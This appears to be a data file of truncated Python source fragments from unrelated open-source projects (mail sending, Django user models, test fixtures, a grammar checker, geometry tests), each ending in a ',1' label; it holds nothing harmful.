MailFailure('SMTP Server Not Configured') try: server = smtplib.SMTP(host) except (smtplib.SMTPConnectError, socket.error) as ex: app.logger.error('Unable to send mail: %s', str(ex)) raise MailFailure('Error connecting to SMTP server.') msg = text.MIMEText(message) msg['Subject'] = subject msg['To'] = email.utils.formataddr((to_name, to)) msg['From'] = email.utils.formataddr((sender_name, sender)) try: if app.debug: server.set_debuglevel(True) server.sendmail(sender, [to], msg.as_string()) except (smtplib.SMTPException, socket.error) as ex: app.logger.error('Unable to send mail: %s', str(ex)) raise MailFailure('Error sending mail to SMTP server.') finally: try: server.quit() except smtplib.SMTPException: pass def _send_mailjet(message, subject, to, to_name, sender, sender_name): """"""Mailjet implementation of sending email."""""" api_key = app.config.get('MJ_APIKEY_PUBLIC') api_secret = app.config.get('MJ_APIKEY_PRIVATE') if not api_key or not api_secret: app.logger.error('Missing MJ_APIKEY_PUBLIC/MJ_APIKEY_PRIVATE!') return # Note the data structures we use are api v3.1 client = mailjet_rest.Client( auth=(api_key, api_secret), api_url='https://api.mailjet.com/', version='v3.1') from_obj = { ""Email"": sender, } if sender_name: from_obj[""Name""] = sender_name to_obj = [{ ""Email"": to, }] if to_name: to_obj[0][""Name""] = to_name message = { ""From"": from_obj, ""To"": to_obj, ""Subject"": subject, ""TextPart"": message, } result = client.send.create(data={'Messages': [message]}) if result.status_code != 200: app.logger.error( 'Error sending via mailjet: (%d) %r', result.status_code, result.text) raise MailFailure('Error sending via mailjet!') try: j = result.json() except Exception: app.logger.error('Error sending via mailjet: %r', result.text) raise MailFailure('Error sending via mailjet!') if j['Messages'][0]['Status'] != 'success': app.logger.error('Error sending via mailjet: %r', j) raise MailFailure('Error sending via mailjet!') ",1 "e in the system force list - added if not found."""""" for force in system.getForces(): if isinstance(force, forcetype): return force if add==True: system.addForce(forcetype()) return findForce(system, forcetype) return None def setGlobalForceParameter(force, key, value): for i in range(force.getNumGlobalParameters()): if force.getGlobalParameterName(i)==key: print('setting force parameter', key, '=', value) force.setGlobalParameterDefaultValue(i, value); def atomIndexInResidue(residue): """""" list of atom index in residue """""" index=[] for a in list(residue.atoms()): index.append(a.index) return index def getResiduePositions(residue, positions): """""" Returns array w. atomic positions of residue """""" ndx = atomIndexInResidue(residue) return np.array(positions)[ndx] def uniquePairs(index): """""" list of unique, internal pairs """""" return list(combinations( range(index[0],index[-1]+1),2 ) ) def addHarmonicConstraint(harmonicforce, pairlist, positions, threshold, k): """""" add harmonic bonds between pairs if distance is smaller than threshold """""" print('Constraint force constant =', k) for i,j in pairlist: distance = unit.norm( positions[i]-positions[j] ) if distance current_version fetch.assert_called_once_with(PYPI_URL) self.assertEqual(get_option(key=self.KEY), self.NEW) def test_run_check_update_task_with_bad_response(self): with mock.patch('sentry.tasks.check_update.fetch_url_content') as fetch: fetch.return_value = (None, None, '') check_update() # latest_version == current_version fetch.assert_called_once_with(PYPI_URL) self.assertEqual(get_option(key=self.KEY), None) def test_set_sentry_version_empty_latest(self): set_sentry_version(latest=self.NEW) self.assertEqual(get_option(key=self.KEY), self.NEW) def test_set_sentry_version_new(self): set_option(self.KEY, self.OLD) with mock.patch('sentry.get_version') as get_version: get_version.return_value = self.CURRENT set_sentry_version(latest=self.NEW) self.assertEqual(Option.objects.get_value(key=self.KEY), self.NEW) def test_set_sentry_version_old(self): set_option(self.KEY, self.NEW) with mock.patch('sentry.get_version') as get_version: get_version.return_value = self.CURRENT set_sentry_version(latest=self.OLD) self.assertEqual(Option.objects.get_value(key=self.KEY), self.NEW) ",1 "t_generators(): import os import tempfile from fusesoc.config import Config from fusesoc.coremanager import CoreManager from fusesoc.edalizer import Edalizer from fusesoc.librarymanager import Library from fusesoc.vlnv import Vlnv tests_dir = os.path.dirname(__file__) cores_dir = os.path.join(tests_dir, ""capi2_cores"", ""misc"", ""generate"") lib = Library(""edalizer"", cores_dir) cm = CoreManager(Config()) cm.add_library(lib) core = cm.get_core(Vlnv(""::generate"")) build_root = tempfile.mkdtemp(prefix=""export_"") cache_root = tempfile.mkdtemp(prefix=""export_cache_"") export_root = os.path.join(build_root, ""exported_files"") edalizer = Edalizer( toplevel=core.name, flags={""tool"": ""icarus""}, core_manager=cm, cache_root=cache_root, work_root=os.path.join(build_root, ""work""), export_root=export_root, system_name=None, ) edalizer.run() gendir = os.path.join( cache_root, ""generated"", ""generate-testgenerate_without_params_0"" ) assert os.path.isfile(os.path.join(gendir, ""generated.core"")) assert os.path.isfile(os.path.join(gendir, ""testgenerate_without_params_input.yml"")) gendir = os.path.join( cache_root, ""generated"", ""generate-testgenerate_with_params_0"" ) assert os.path.isfile(os.path.join(gendir, ""generated.core"")) assert os.path.isfile(os.path.join(gendir, ""testgenerate_with_params_input.yml"")) ",1 " JS_POSITION_BODY, JS_POSITION_HEADER) TEST_DATA = os.path.join(os.path.split(__file__)[0], 'test_data') class TemplateInfoTests(unittest.TestCase): """"""Tests that template information is correctly parsed"""""" def test_template_paths(self): # You can specify a folder or a cfg file and that's the same thing. template_info1 = Template(os.path.join(TEST_DATA, 'minimal')) template_info2 = Template(os.path.join(TEST_DATA, 'minimal', 'template.cfg')) self.assertEqual(etree.tostring(template_info1.xml_node()), etree.tostring(template_info2.xml_node())) def test_template_minimal(self): template_info = Template(os.path.join(TEST_DATA, 'minimal')) with open(os.path.join(TEST_DATA, 'minimal', 'template.xsl'), 'rb') as xslfile: xsl = xslfile.read() self.assertEqual(template_info.xsl, xsl) template_files = [each.filepath for each in template_info.resources] self.assertIn('js/impress.js', template_files) self.assertIn('js/hovercraft-minimal.js', template_files) css_files = list(each.filepath for each in template_info.resources if each.resource_type == CSS_RESOURCE) self.assertEqual(len(css_files), 0) self.assertEqual(template_info.doctype, b'') def test_template_maximal(self): template_info = Template(os.path.join(TEST_DATA, 'maximal')) with open(os.path.join(TEST_DATA, 'maximal', 'template.xsl'), 'rb') as xslfile: xsl = xslfile.read() self.assertEqual(template_info.xsl, xsl) template_files = [each.filepath for each in template_info.resources] self.assertIn('images/python-logo-master-v3-TM.png', template_files) self.assertIn('js/impress.js', template_files) self.assertIn('js/impressConsole.js', template_files) self.assertIn('js/hovercraft.js', template_files) js_bodies = [each.filepath for each in template_info.resources if each.resource_type == JS_RESOURCE and each.extra_info == JS_POSITION_BODY] self.assertIn('js/impress.js', js_bodies) self.assertIn('js/impressConsole.js', js_bodies) self.assertIn('js/hovercraft.js', js_bodies) js_headers = [each.filepath for each in template_info.resources if each.resource_type == JS_RESOURCE and each.extra_info == JS_POSITION_HEADER] self.assertIn('js/dummy.js', js_headers) self.assertEqual(template_info.resources[0].filepath, 'css/style.css') self.assertEqual(template_info.resources[0].extra_info, 'all') self.assertEqual(template_info.resources[1].filepath, 'css/print.css') self.assertEqual(template_info.resources[1].extra_info, 'print') self.assertEqual(template_info.resources[2].filepath, 'css/impressConsole.css') self.assertEqual(template_info.resources[2].extra_info, 'screen,projection') self.assertEqual(template_info.doctype, b'') class TemplateInfoNodeTests(unittest.TestCase): """"""Tests that template information is correctly made into an xml nodes"""""" def test_minimal_template(self): template_info = Template(os.path.join(TEST_DATA, 'minimal')) node = template_info.xml_node() self.assertEqual(etree.tostring(node), ( b'
    ' b'' b'')) def test_maximal_template(self): template_info = Template(os.path.join(TEST_DATA, 'maximal')) node = template_info.xml_node() self.assertEqual(etree.tostring(node), ( b'
    ' b'' b'' b'' b'
    ' b'' b'' b'
    ')) if __name__ == '__main__': unittest.main() ",1 "h.models import BaseUserManager from django.utils import timezone from accelerator_abstract.models import BaseUserRole from accelerator_abstract.models.base_base_profile import EXPERT_USER_TYPE MAX_USERNAME_LENGTH = 30 class UserManager(BaseUserManager): use_in_migrations = True def _create_user(self, email, password, is_staff, is_superuser, **extra_fields): """""" Creates and saves an User with the given email and password. """""" now = timezone.now() if not email: raise ValueError('An email address must be provided.') email = self.normalize_email(email) if ""is_active"" not in extra_fields: extra_fields[""is_active""] = True if ""username"" not in extra_fields: # For now we need to have a unique id that is at # most 30 characters long. Using uuid and truncating. # Ideally username goes away entirely at some point # since we're really using email. If we have to keep # username for some reason then we could switch over # to a string version of the pk which is guaranteed # be unique. extra_fields[""username""] = str(uuid.uuid4())[:MAX_USERNAME_LENGTH] user = self.model(email=email, is_staff=is_staff, is_superuser=is_superuser, last_login=None, date_joined=now, **extra_fields) user.set_password(password) user.save(using=self._db) return user def create_user(self, email=None, password=None, **extra_fields): return self._create_user(email, password, False, False, **extra_fields) def create_superuser(self, email, password, **extra_fields): return self._create_user(email, password, True, True, **extra_fields) class User(AbstractUser): # Override the parent email field to add uniqueness constraint email = models.EmailField(blank=True, unique=True) objects = UserManager() class Meta: db_table = 'auth_user' managed = settings.ACCELERATOR_MODELS_ARE_MANAGED def __init__(self, *args, **kwargs): super(User, self).__init__(*args, **kwargs) self.startup = None self.team_member = None self.profile = None self.user_finalist_roles = None class AuthenticationException(Exception): pass def __str__(self): return self.email def full_name(self): fn = self.first_name ln = self.last_name if fn and ln: name = u""%s %s"" % (fn, ln) else: name = str(self.email) return name def user_phone(self): return self._get_profile().phone def image_url(self): return self._get_profile().image_url() def team_member_id(self): return self.team_member.id if self._get_member() else '' def user_title(self): return self._get_title_and_company()['title'] def user_twitter_handle(self): return self._get_profile().twitter_handle def user_linked_in_url(self): return self._get_profile().linked_in_url def user_facebook_url(self): return self._get_profile().facebook_url def user_personal_website_url(self): return self._get_profile().personal_website_url def type(self): return self._get_profile().user_type def startup_name(self): return self._get_title_and_company()['company'] def _get_title_and_company(self): if self._is_expert() and self._has_expert_details(): profile = self._get_profile() title = profile.title company = profile.company return { ""title"": title, ""company"": company } self._get_member() title = self.team_member.title if self.team_member else """" company = self.startup.name if self._get_startup() else None return { ""title"": title, ""company"": company } def _has_expert_details(self): if self._is_expert(): profile = self._get_profile() return True if profile.title or profile.company else False def startup_industry(self): return self.startup.primary_industry if self._get_startup() else None def top_level_startup_industry(self): industry = ( self.startup.primary_industry if self._get_startup() else None) return industry.parent if industry and industry.parent else industry def startup_status_names(self): if self._get_startup(): return [startup_status.program_startup_status.startup_status for startup_status in self.startup.startupstatus_set.all()] def finalist_user_roles(self): if not self.user_finalist_roles: finalist_roles = BaseUserRole.FINALIST_USER_ROLES self.user_finalist_roles = self.programrolegrant_set.filter( program_role__user_role__name__in=finalist_roles ).values_list('program_role__name', flat=True).distinct() return list(self.user_finalist_roles) def program(self): return self.startup.current_program() if self._get_startup() else None def location(self): program = self.program() return program.program_family.name if program else None def year(self): program = self.program() return program.start_date.year if program else None def is_team_member(self): return True if self._get_member() else False def _get_startup(self): if not self.startup: self._get_member() if self.team_member: self.startup = self.team_member.startup return self.startup def _get_member(self): if not self.team_member: self.team_member = self.startupteammember_set.last() return self.team_member def _get_profile(self): if self.profile: return self.profile self.profile = self.get_profile() return self.profile def has_a_finalist_role(self): return len(self.finalist_user_roles()) > 0 def _is_expert(self): profile = self._get_profile() return profile.user_type == EXPERT_USER_TYPE.lower() ",1 " first_name=fake.first_name(), last_name=fake.last_name(), twitter=fake.domain_word(), ) def make_post(with_comments=True, with_author=True, with_keywords=True): comments = [make_comment() for _ in range(2)] if with_comments else [] keywords = [make_keyword() for _ in range(3)] if with_keywords else [] author = make_author() if with_author else None return Post( id=fake.random_int(), title=fake.catch_phrase(), author=author, author_id=author.id if with_author else None, comments=comments, keywords=keywords, ) def make_comment(with_author=True): author = make_author() if with_author else None return Comment(id=fake.random_int(), body=fake.bs(), author=author) def make_keyword(): return Keyword(keyword=fake.domain_word()) @pytest.fixture() def author(): return make_author() @pytest.fixture() def authors(): return [make_author() for _ in range(3)] @pytest.fixture() def comments(): return [make_comment() for _ in range(3)] @pytest.fixture() def post(): return make_post() @pytest.fixture() def post_with_null_comment(): return make_post(with_comments=False) @pytest.fixture() def post_with_null_author(): return make_post(with_author=False) @pytest.fixture() def posts(): return [make_post() for _ in range(3)] ",1 "c License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . ''' import numpy as np class Shell(object): """""" """""" def __init__(self, controller, target_list, threshold=.01, pen_down=False): """""" control Control instance: the controller to use pen_down boolean: True if the end-effector is drawing """""" self.controller = controller self.pen_down = pen_down self.target_list = target_list self.threshold = threshold self.not_at_start = True self.target_index = 0 self.set_target() def control(self, arm): """"""Move to a series of targets. """""" if self.controller.check_distance(arm) < self.threshold: if self.target_index < len(self.target_list)-1: self.target_index += 1 self.set_target() self.controller.apply_noise = True self.not_at_start = not self.not_at_start self.pen_down = not self.pen_down self.u = self.controller.control(arm) return self.u def set_target(self): """""" Set the current target for the controller. """""" if self.target_index == len(self.target_list)-1: target = [1, 2] else: target = self.target_list[self.target_index] if target[0] != target[0]: # if it's NANs self.target_index += 1 self.set_target() else: self.controller.target = target ",1 "ns __all__ = [ ""lang"", ""locales"", ""pkg"", ""name"", ""version"", ""author"", \ ""load"", ""parse"", ""getDictionary"", \ ""setOptions"", ""getOptions"", ""getOptionsLabels"", ""resetOptions"", \ ""ignoreRule"", ""resetIgnoreRules"" ] __version__ = u""${version}"" lang = u""${lang}"" locales = ${loc} pkg = u""${implname}"" name = u""${name}"" version = u""${version}"" author = u""${author}"" # commons regexes _zEndOfSentence = re.compile(u'([.?!:;…][ .?!… »”"")]*|.$)') _zBeginOfParagraph = re.compile(u""^\W*"") _zEndOfParagraph = re.compile(u""\W*$"") _zNextWord = re.compile(u"" +(\w[\w-]*)"") _zPrevWord = re.compile(u""(\w[\w-]*) +$"") # grammar rules and dictionary _rules = None _dOptions = dict(gc_options.dOpt) # duplication necessary, to be able to reset to default _aIgnoredRules = set() _oDict = None _dAnalyses = {} # cache for data from dictionary _GLOBALS = globals() #### Parsing def parse (sText, sCountry=""${country_default}"", bDebug=False, dOptions=None): ""analyses the paragraph sText and returns list of errors"" aErrors = None sAlt = sText dDA = {} dOpt = _dOptions if not dOptions else dOptions # parse paragraph try: sNew, aErrors = _proofread(sText, sAlt, 0, True, dDA, sCountry, dOpt, bDebug) if sNew: sText = sNew except: raise # parse sentences for iStart, iEnd in _getSentenceBoundaries(sText): if 4 < (iEnd - iStart) < 2000: dDA.clear() try: _, errs = _proofread(sText[iStart:iEnd], sAlt[iStart:iEnd], iStart, False, dDA, sCountry, dOpt, bDebug) aErrors.extend(errs) except: raise return aErrors def _getSentenceBoundaries (sText): iStart = _zBeginOfParagraph.match(sText).end() for m in _zEndOfSentence.finditer(sText): yield (iStart, m.end()) iStart = m.end() def _proofread (s, sx, nOffset, bParagraph, dDA, sCountry, dOptions, bDebug): aErrs = [] bChange = False if not bParagraph: # after the first pass, we modify automatically some characters if u"" "" in s: s = s.replace(u"" "", u' ') # nbsp bChange = True if u"" "" in s: s = s.replace(u"" "", u' ') # nnbsp bChange = True if u""@"" in s: s = s.replace(u""@"", u' ') bChange = True if u""'"" in s: s = s.replace(u""'"", u""’"") bChange = True if u""‑"" in s: s = s.replace(u""‑"", u""-"") # nobreakdash bChange = True bIdRule = option('idrule') for sOption, lRuleGroup in _getRules(bParagraph): if not sOption or dOptions.get(sOption, False): for zRegex, bUppercase, sRuleId, lActions in lRuleGroup: if sRuleId not in _aIgnoredRules: for m in zRegex.finditer(s): for sFuncCond, cActionType, sWhat, *eAct in lActions: # action in lActions: [ condition, action type, replacement/suggestion/action[, iGroup[, message, URL]] ] try: if not sFuncCond or _GLOBALS[sFuncCond](s, sx, m, dDA, sCountry): if cActionType == ""-"": # grammar error # (text, replacement, nOffset, m, iGroup, sId, bUppercase, sURL, bIdRule) aErrs.append(_createError(s, sWhat, nOffset, m, eAct[0], sRuleId, bUppercase, eAct[1], eAct[2], bIdRule, sOption)) elif cActionType == ""~"": # text processor s = _rewrite(s, sWhat, eAct[0], m, bUppercase) bChange = True if bDebug: echo(u""~ "" + s + "" -- "" + m.group(eAct[0]) + "" # "" + sRuleId) elif cActionType == ""="": # disambiguation _GLOBALS[sWhat](s, m, dDA) if bDebug: echo(u""= "" + m.group(0) + "" # "" + sRuleId + ""\nDA: "" + str(dDA)) else: echo(""# error: unknown action at "" + sRuleId) except Exception as e: raise Exception(str(e), sRuleId) if bChange: return (s, aErrs) return (False, aErrs) def _createWriterError (s, sRepl, nOffset, m, iGroup, sId, bUppercase, sMsg, sURL, bIdRule, sOption): ""error for Writer (LO/OO)"" xErr = SingleProofreadingError() #xErr = uno.createUnoStruct( ""com.sun.star.linguistic2.SingleProofreadingError"" ) xErr.nErrorStart = nOffset + m.start(iGroup) xErr.nErrorLength = m.end(iGroup) - m.start(iGroup) xErr.nErrorType = PROOFREADING xErr.aRuleIdentifier = sId # suggestions if sRepl[0:1] == ""="": sugg = _GLOBALS[sRepl[1:]](s, m) if sugg: if bUppercase and m.group(iGroup)[0:1].isupper(): xErr.aSuggestions = tuple(map(str.capitalize, sugg.split(""|""))) else: xErr.aSuggestions = tuple(sugg.split(""|"")) else: xErr.aSuggestions = () elif sRepl == ""_"": xErr.aSuggestions = () else: if bUppercase and m.group(iGroup)[0:1].isupper(): xErr.aSuggestions = tuple(map(str.capitalize, m.expand(sRepl).split(""|""))) else: xErr.aSuggestions = tuple(m.expand(sRepl).split(""|"")) # Message if sMsg[0:1] == ""="": sMessage = _GLOBALS[sMsg[1:]](s, m) else: sMessage = m.expand(sMsg) xErr.aShortComment = sMessage # sMessage.split(""|"")[0] # in context menu xErr.aFullComment = sMessage # sMessage.split(""|"")[-1] # in dialog if bIdRule: xErr.aShortComment += "" # "" + sId # URL if sURL: p = PropertyValue() p.Name = ""FullCommentURL"" p.Value = sURL xErr.aProperties = (p,) else: xErr.aProperties = () return xErr def _createDictError (s, sRepl, nOffset, m, iGroup, sId, bUppercase, sMsg, sURL, bIdRule, sOption): ""error as a dictionary"" dErr = {} dErr[""nStart""] = nOffset + m.start(iGroup) dErr[""nEnd""] = nOffset + m.end(iGroup) dErr[""sRuleId""] = sId dErr[""sType""] = sOption if sOption else ""notype"" # suggestions if sRepl[0:1] == ""="": sugg = _GLOBALS[sRepl[1:]](s, m) if sugg: if bUppercase and m.group(iGroup)[0:1].isupper(): dErr[""aSuggestions""] = list(map(str.capitalize, sugg.split(""|""))) else: dErr[""aSuggestions""] = sugg.split(""|"") else: dErr[""aSuggestions""] = () elif sRepl == ""_"": dErr[""aSuggestions""] = () else: if bUppercase and m.group(iGroup)[0:1].isupper(): dErr[""aSuggestions""] = list(map(str.capitalize, m.expand(sRepl).split(""|""))) else: dErr[""aSuggestions""] = m.expand(sRepl).split(""|"") # Message if sMsg[0:1] == ""="": sMessage = _GLOBALS[sMsg[1:]](s, m) else: sMessage = m.expand(sMsg) dErr[""sMessage""] = sMessage if bIdRule: dErr[""sMessage""] += "" # "" + sId # URL dErr[""URL""] = sURL if sURL else """" return dErr def _rewrite (s, sRepl, iGroup, m, bUppercase): ""text processor: write sRepl in s at iGroup position"" ln = m.end(iGroup) - m.start(iGroup) if sRepl == ""*"": sNew = "" "" * ln elif sRepl == "">"" or sRepl == ""_"" or sRepl == u""~"": sNew = sRepl + "" "" * (ln-1) elif sRepl == ""@"": sNew = ""@"" * ln elif sRepl[0:1] == ""="": if sRepl[1:2] != ""@"": sNew = _GLOBALS[sRepl[1:]](s, m) sNew = sNew + "" "" * (ln-len(sNew)) else: sNew = _GLOBALS[sRepl[2:]](s, m) sNew = sNew + ""@"" * (ln-len(sNew)) if bUppercase and m.group(iGroup)[0:1].isupper(): sNew = sNew.capitalize() else: sNew = m.expand(sRepl) sNew = sNew + "" "" * (ln-len(sNew)) return s[0:m.start(iGroup)] + sNew + s[m.end(iGroup):] def ignoreRule (sId): _aIgnoredRules.add(sId) def resetIgnoreRules (): _aIgnoredRules.clear() #### init try: # LibreOffice / OpenOffice from com.sun.star.linguistic2 import SingleProofreadingError from com.sun.star.text.TextMarkupType import PROOFREADING from com.sun.star.beans import PropertyValue #import lightproof_handler_${implname} as opt _createError = _createWriterError except ImportError: _createError = _createDictError def load (): global _oDict try: _oDict = IBDAWG(""${binary_dic}"") except: traceback.print_exc() def setOptions (dOpt): _dOptions.update(dOpt) def getOptions (): return _dOptions def getOptionsLabels (sLang): return gc_options.getUI(sLang) def resetOptions (): global _dOptions _dOptions = dict(gc_options.dOpt) def getDictionary (): return _oDict def _getRules (bParagraph): try: if not bParagraph: return _rules.lSentenceRules return _rules.lParagraphRules except: _loadRules() if not bParagraph: return _rules.lSentenceRules return _rules.lParagraphRules def _loadRules2 (): from itertools import chain from . import gc_rules global _rules _rules = gc_rules # compile rules regex for rule in chain(_rules.lParagraphRules, _rules.lSentenceRules): try: rule[1] = re.compile(rule[1]) except: echo(""Bad regular expression in # "" + str(rule[3])) rule[1] = ""(?i)"" def _loadRules (): from itertools import chain from . import gc_rules global _rules _rules = gc_rules # compile rules regex for rulegroup in chain(_rules.lParagraphRules, _rules.lSentenceRules): for rule in rulegroup[1]: try: rule[0] = re.compile(rule[0]) except: echo(""Bad regular expression in # "" + str(rule[2])) rule[0] = ""(?i)"" def _getPath (): return os.path.join(os.path.dirname(sys.modules[__name__].__file__), __name__ + "".py"") #### common functions def option (sOpt): ""return True if option sOpt is active"" return _dOptions.get(sOpt, False) def displayInfo (dDA, tWord): ""for debugging: retrieve info of word"" if not tWord: echo(""> nothing to find"") return True if tWord[1] not in _dAnalyses and not _storeMorphFromFSA(tWord[1]): echo(""> not in FSA"") return True if tWord[0] in dDA: echo(""DA: "" + str(dDA[tWord[0]])) echo(""FSA: "" + str(_dAnalyses[tWord[1]])) return True def _storeMorphFromFSA (sWord): ""retrieves morphologies list from _oDict -> _dAnalyses"" global _dAnalyses _dAnalyses[sWord] = _oDict.getMorph(sWord) return True if _dAnalyses[sWord] else False def morph (dDA, tWord, sPattern, bStrict=True, bNoWord=False): ""analyse a tuple (position, word), return True if sPattern in morphologies (disambiguation on)"" if not tWord: return bNoWord if tWord[1] not in _dAnalyses and not _storeMorphFromFSA(tWord[1]): return False lMorph = dDA[tWord[0]] if tWord[0] in dDA else _dAnalyses[tWord[1]] if not lMorph: return False p = re.compile(sPattern) if bStrict: return all(p.search(s) for s in lMorph) return any(p.search(s) for s in lMorph) def morphex (dDA, tWord, sPattern, sNegPattern, bNoWord=False): ""analyse a tuple (position, word), returns True if not sNegPattern in word morphologies and sPattern in word morphologies (disambiguation on)"" if not tWord: return bNoWord if tWord[1] not in _dAnalyses and not _storeMorphFromFSA(tWord[1]): return False lMorph = dDA[tWord[0]] if tWord[0] in dDA else _dAnalyses[tWord[1]] # check negative condition np = re.compile(sNegPattern) if any(np.search(s) for s in lMorph): return False # search sPattern p = re.compile(sPattern) return any(p.search(s) for s in lMorph) def analyse (sWord, sPattern, bStrict=True): ""analyse a word, return True if sPattern in morphologies (disambiguation off)"" if sWord not in _dAnalyses and not _storeMorphFromFSA(sWord): return False if not _dAnalyses[sWord]: return False p = re.compile(sPattern) if bStrict: return all(p.search(s) for s in _dAnalyses[sWord]) return any(p.search(s) for s in _dAnalyses[sWord]) def analysex (sWord, sPattern, sNegPattern): ""analyse a word, returns True if not sNegPattern in word morphologies and sPattern in word morphologies (disambiguation off)"" if sWord not in _dAnalyses and not _storeMorphFromFSA(sWord): return False # check negative condition np = re.compile(sNegPattern) if any(np.search(s) for s in _dAnalyses[sWord]): return False # search sPattern p = re.compile(sPattern) return any(p.search(s) for s in _dAnalyses[sWord]) def stem (sWord): ""returns a list of sWord's stems"" if not sWord: return [] if sWord not in _dAnalyses and not _storeMorphFromFSA(sWord): return [] return [ s[1:s.find("" "")] for s in _dAnalyses[sWord] ] ## functions to get text outside pattern scope # warning: check compile_rules.py to understand how it works def nextword (s, iStart, n): ""get the nth word of the input string or empty string"" m = re.match(u""( +[\\w%-]+){"" + str(n-1) + u""} +([\\w%-]+)"", s[iStart:]) if not m: return None return (iStart+m.start(2), m.group(2)) def prevword (s, iEnd, n): ""get the (-)nth word of the input string or empty string"" m = re.search(u""([\\w%-]+) +([\\w%-]+ +){"" + str(n-1) + u""}$"", s[:iEnd]) if not m: return None return (m.start(1), m.group(1)) def nextword1 (s, iStart): ""get next word (optimization)"" m = _zNextWord.match(s[iStart:]) if not m: return None return (iStart+m.start(1), m.group(1)) def prevword1 (s, iEnd): ""get previous word (optimization)"" m = _zPrevWord.search(s[:iEnd]) if not m: return None return (m.start(1), m.group(1)) def look (s, sPattern, sNegPattern=None): ""seek sPattern in s (before/after/fulltext), if sNegPattern not in s"" if sNegPattern and re.search(sNegPattern, s): return False if re.search(sPattern, s): return True return False def look_chk1 (dDA, s, nOffset, sPattern, sPatternGroup1, sNegPatternGroup1=None): ""returns True if s has pattern sPattern and m.group(1) has pattern sPatternGroup1"" m = re.search(sPattern, s) if not m: return False try: sWord = m.group(1) nPos = m.start(1) + nOffset except: #print(""Missing group 1"") return False if sNegPatternGroup1: return morphex(dDA, (nPos, sWord), sPatternGroup1, sNegPatternGroup1) return morph(dDA, (nPos, sWord), sPatternGroup1, False) #### Disambiguator def select (dDA, nPos, sWord, sPattern, lDefault=None): if not sWord: return True if nPos in dDA: return True if sWord not in _dAnalyses and not _storeMorphFromFSA(sWord): return True if len(_dAnalyses[sWord]) == 1: return True lSelect = [ sMorph for sMorph in _dAnalyses[sWord] if re.search(sPattern, sMorph) ] if lSelect: if len(lSelect) != len(_dAnalyses[sWord]): dDA[nPos] = lSelect #echo(""= ""+sWord+"" ""+str(dDA.get(nPos, ""null""))) elif lDefault: dDA[nPos] = lDefault #echo(""= ""+sWord+"" ""+str(dDA.get(nPos, ""null""))) return True def exclude (dDA, nPos, sWord, sPattern, lDefault=None): if not sWord: return True if nPos in dDA: return True if sWord not in _dAnalyses and not _storeMorphFromFSA(sWord): return True if len(_dAnalyses[sWord]) == 1: return True lSelect = [ sMorph for sMorph in _dAnalyses[sWord] if not re.search(sPattern, sMorph) ] if lSelect: if len(lSelect) != len(_dAnalyses[sWord]): dDA[nPos] = lSelect #echo(""= ""+sWord+"" ""+str(dDA.get(nPos, ""null""))) elif lDefault: dDA[nPos] = lDefault #echo(""= ""+sWord+"" ""+str(dDA.get(nPos, ""null""))) return True def define (dDA, nPos, lMorph): dDA[nPos] = lMorph #echo(""= ""+str(nPos)+"" ""+str(dDA[nPos])) return True #### GRAMMAR CHECKER PLUGINS ${plugins} ${generated} ",1 "@gmail.com> # This file is part of Mathmaker. # Mathmaker is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # any later version. # Mathmaker is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with Mathmaker; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import pytest from mathmaker.lib.core.root_calculus import Value from mathmaker.lib.core.base_geometry import Point from mathmaker.lib.core.geometry import Polygon @pytest.fixture def p1(): p1 = Polygon([Point('A', 0.5, 0.5), Point('B', 3, 1), Point('C', 3.2, 4), Point('D', 0.8, 3) ]) p1.side[0].label = Value(4, unit='cm') p1.side[1].label = Value(3, unit='cm') p1.side[2].label = Value(2, unit='cm') p1.side[3].label = Value(6.5, unit='cm') p1.angle[0].label = Value(64, unit=""\\textdegree"") p1.angle[1].label = Value(128, unit=""\\textdegree"") p1.angle[2].label = Value(32, unit=""\\textdegree"") p1.angle[3].label = Value(256, unit=""\\textdegree"") p1.angle[0].mark = 'simple' p1.angle[1].mark = 'simple' p1.angle[2].mark = 'simple' p1.angle[3].mark = 'simple' return p1 def test_p1_into_euk(p1): """"""Check Polygon's generated euk file."""""" assert p1.into_euk() == \ 'box -0.1, -0.1, 3.8, 4.6\n\n'\ 'A = point(0.5, 0.5)\n'\ 'B = point(3, 1)\n'\ 'C = point(3.2, 4)\n'\ 'D = point(0.8, 3)\n'\ '\n'\ 'draw\n'\ ' (A.B.C.D)\n'\ ' $\\rotatebox{11}{\sffamily 4~cm}$ A 11 - 12.7 deg 4.1\n'\ ' $\\rotatebox{86}{\sffamily 3~cm}$ B 86 - 8.9 deg 4.9\n'\ ' $\\rotatebox{23}{\sffamily 2~cm}$ C 203 - 12.2 deg 4.2\n'\ ' $\\rotatebox{83}{\sffamily 6.5~cm}$ D 263 - 12.9 deg 4.1\n'\ ' $\\rotatebox{47.3}{\sffamily 64\\textdegree}$ A 47.3 deg 2.7\n'\ ' $\\rotatebox{-41.3}{\sffamily 128\\textdegree}$ B 138.7 deg 2.7\n'\ ' $\\rotatebox{54.3}{\sffamily 32\\textdegree}$ C 234.3 deg 2.7\n'\ ' $\\rotatebox{322.7}{\sffamily 256\\textdegree}$ D 322.7 deg 2.7\n'\ ' ""A"" A 227.3 deg, font(""sffamily"")\n'\ ' ""B"" B 318.7 deg, font(""sffamily"")\n'\ ' ""C"" C 54.3 deg, font(""sffamily"")\n'\ ' ""D"" D 142.7 deg, font(""sffamily"")\n'\ 'end\n\n'\ 'label\n'\ ' B, A, D simple\n'\ ' C, B, A simple\n'\ ' D, C, B simple\n'\ ' A, D, C simple\n'\ 'end\n' def test_p1_rename_errors(p1): """"""Check wrong arguments trigger exceptions when renaming."""""" with pytest.raises(TypeError): p1.rename(5678) with pytest.raises(ValueError): p1.rename('KJLIZ') def test_p1_renamed(p1): """"""Check renaming Polygon is OK."""""" p1.rename('YOGA') assert p1.into_euk() == \ 'box -0.1, -0.1, 3.8, 4.6\n\n'\ 'A = point(0.5, 0.5)\n'\ 'G = point(3, 1)\n'\ 'O = point(3.2, 4)\n'\ 'Y = point(0.8, 3)\n'\ '\n'\ 'draw\n'\ ' 